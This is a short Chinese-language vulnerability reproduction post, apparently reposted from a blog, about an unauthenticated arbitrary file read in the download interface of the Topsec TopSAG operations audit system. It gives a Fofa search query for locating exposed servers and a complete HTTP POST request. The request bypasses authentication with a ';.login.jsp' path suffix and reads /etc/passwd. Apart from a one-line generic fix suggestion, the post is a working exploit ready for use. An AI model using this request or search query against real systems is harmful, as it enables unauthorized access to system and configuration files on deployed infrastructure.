天融信运维审计系统 download 任意文件读取漏洞复现
0x01 产品描述：
天融信运维审计系统（TopSAG）是基于自主知识产权的NGTOS安全操作系统平台和多年网络安全防护经验积累研发而成，以4A管理理念为基础、安全代理为核心，提供事前预防、事中监控、事后审计的全方位运维安全解决方案。该系统适用于政府、金融、能源、电信、交通、教育等行业。
0x02 漏洞描述：
天融信运维审计系统 download接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
0x03 搜索语句：
Fofa：header="iam" && server="Apache-Coyote/"
0x04 漏洞复现：
POST /iam/download;.login.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
filename=1.txt&filepath=/etc/passwd
0x05 修复建议：
在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。
原文地址：https://blog.csdn.net/xc_214/article/details/143600113
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！